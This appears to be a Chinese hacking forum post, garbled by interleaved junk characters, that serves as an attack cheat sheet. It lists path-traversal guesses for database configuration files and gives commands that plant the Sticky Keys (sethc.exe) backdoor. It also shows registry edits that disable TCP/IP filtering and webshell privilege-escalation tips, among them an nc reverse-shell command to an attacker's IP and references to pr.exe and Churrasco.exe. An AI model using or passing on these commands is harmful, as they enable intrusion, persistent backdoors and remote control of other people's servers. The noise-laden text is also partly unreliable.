1 u7 |# {. |8 D7 @% m- U$ W# i
* L- z. e$ H: E4 L3.网站相对路径:
8 I/ f' _' B5 ^% h' m& D" R+ D
/config.php
../../config.php
../config.php
4 ~6 j7 @3 e/ V. p* j" X: Z../../../config.php
/config.inc.php
$ K' m2 w: [5 q' O8 z./config.inc.php
../../config.inc.php
1 B6 B3 }8 O& S../config.inc.php
  T8 ^; ^% L( g% `8 @' w../../../config.inc.php
$ j6 ^# e0 ?- Q: h4 c! t0 A/conn.php
1 g$ s0 b" Y% q% J1 z./conn.php
3 c7 y7 r, q4 F4 R1 z! e" y../../conn.php
$ x5 b3 N& ^4 ]# F* n! w../conn.php
7 @$ a' @/ j& R, q../../../conn.php
/conn.asp
! M% M  I0 J5 B+ x, _0 n./conn.asp
, R9 V. t) X, e  G../../conn.asp
, g- [0 W# F; W- X; c  C../conn.asp
5 N" Z/ P( E5 a( \../../../conn.asp
/config.inc.php
0 v2 a( Q; V, y; |6 h, v./config.inc.php
* S) C6 R& C8 m../../config.inc.php
../config.inc.php
4 F0 }; [6 ~. Q+ j8 `../../../config.inc.php
$ z! C. m7 E) C; k. r/config/config.php
  N  X# }% D* I& y../../config/config.php
../config/config.php
5 l6 X9 [% c8 m. [. D' i0 k../../../config/config.php
5 T7 @4 r- L- l6 v3 B! Y/config/config.inc.php
3 W; _; I# p9 C9 w  c./config/config.inc.php
../../config/config.inc.php
/ @: M' s3 Y6 }, k3 {$ s4 o../config/config.inc.php
; V, O" v3 P% V9 }$ m& O../../../config/config.inc.php
/config/conn.php
./config/conn.php
: z: g5 ], ^% \  O& h  f# d../../config/conn.php
../config/conn.php
+ f1 b; m1 f$ F5 ]../../../config/conn.php
! f* L8 R4 q7 a1 u" h/config/conn.asp
./config/conn.asp
7 Q# E$ `) _6 s; _  l  `2 D../../config/conn.asp
6 @9 H+ Z4 r. `4 L" y../config/conn.asp
0 _+ \2 o& u( q8 B2 g../../../config/conn.asp
/config/config.inc.php
" q! f$ ]7 A9 x8 d./config/config.inc.php
../../config/config.inc.php
0 a/ v: X0 p/ s, N( }9 G../config/config.inc.php
  o: ~- Q! A9 A$ s/ G) c5 Q../../../config/config.inc.php
/data/config.php
8 C, D( T* }& O) K0 M, P/ m6 x( `../../data/config.php
' ?  f: L" [( _0 U% j../data/config.php
2 X2 |' w; L' w/ S../../../data/config.php
* }8 v+ ~: G7 Q/data/config.inc.php
& S1 S% I( N* _: o/ w' ]9 K./data/config.inc.php
, R& Q5 }7 l, L8 x' f../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
/data/conn.php
./data/conn.php
7 }( Z/ _& T+ Q( d6 E+ }../../data/conn.php
6 j. ^, O5 t. Q! K3 g& d../data/conn.php
../../../data/conn.php
2 {0 B) V; f- K' B  V/data/conn.asp
- J( [/ v& y" I& f; C3 |./data/conn.asp
../../data/conn.asp
' p0 R1 K5 @0 u../data/conn.asp
../../../data/conn.asp
4 z0 i( b* B7 x3 y/ x  g6 A/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
, C+ o% ~7 s% n9 Q7 d../data/config.inc.php
/ A# n3 F( F7 V; N. ^: @( R../../../data/config.inc.php
/include/config.php
../../include/config.php
* O7 u6 \. x  m' U../include/config.php
+ n/ b" i; K& _+ t7 O../../../include/config.php
/include/config.inc.php
& O) A" A5 D$ |9 u+ s4 M! q./include/config.inc.php
../../include/config.inc.php
/ Z0 g# J/ `8 j../include/config.inc.php
../../../include/config.inc.php
/include/conn.php
- h. i- P0 H  D) ~./include/conn.php
../../include/conn.php
../include/conn.php
$ H; R( W3 @$ {: c  z3 R% @% C../../../include/conn.php
/include/conn.asp
- ]7 a" a* ^' v$ O7 N/ Q* v./include/conn.asp
+ k, ]- M" p9 w  [../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
3 l7 C- d8 e$ @  t./include/config.inc.php
1 R: V# \: k4 m../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
../../inc/config.php
- P1 C) J  a* P5 k$ Q2 H../inc/config.php
../../../inc/config.php
! i! q2 ?5 o9 {: u: q. @, o/inc/config.inc.php
./inc/config.inc.php
! K+ O& H2 H& A4 c' J, d5 j( a../../inc/config.inc.php
% g, \6 [  n4 ^* I1 R  a; n../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
/ l9 d2 b2 |: Q: J( X9 ~+ T( |6 J& s./inc/conn.php
../../inc/conn.php
../inc/conn.php
3 g! r/ E6 o5 g4 a../../../inc/conn.php
2 v9 C: T4 _* Y' Y8 s7 s/inc/conn.asp
% k9 ~' H: k" R: q2 ^1 }./inc/conn.asp
" D" B3 T- L8 M; \* T1 f../../inc/conn.asp
* f" I0 u* H% v; S../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
0 W, k& o' _$ p* C! c& y9 U% u./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
' G9 F0 C4 H1 B../../../inc/config.inc.php
/index.php
./index.php
../../index.php
../index.php
../../../index.php
/index.asp
; c1 m( G6 G& t# `4 |, @./index.asp
( N, _2 A' x2 }4 X3 \5 G' A7 P; \../../index.asp
../index.asp
../../../index.asp
& E' s7 ~& v, `: y替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s

　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe

+ F% m% p. O! o/ p! r　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
2 }5 \: \6 _- r6 H3 l+ G1 W6 P( Z
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
8 _+ f& P+ Z# ]; w5 \  D% [- _TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
6 E+ Z( T' c. Q7 H+ [8 nHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
" I; k# {1 p  V- _HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
* r& A9 h, U2 Y7 [4 _8 |% _
分别用
$ \5 t2 v1 j- z- Tregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
/ _1 [2 E# O: ^4 I& j7 z0 @$ |, `regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
6 H) x7 l) x, l. J/ C4 M& Eregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项
' B0 t, X. ~2 y- s: v8 Y
/ J/ p+ _2 H5 W8 f3 r* C* ~然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
2 Y- O  I. v# W2 x/ ]  h
再将以上三个文件分别用
regedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可
9 Y" B' U  ]" m8 u
webshell提权小技巧
cmd路径:
c:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
" p; [8 W+ L& S8 l"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
6 {+ Z1 d, F2 c7 B/ N通常都不会成功。

而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
% z# b0 n! e+ J3 I4 \8 C1 q命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
- g, A' [# Y: `& z却能成功。。
, f! ]5 N$ Z, l$ Y0 X$ o2 ?这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功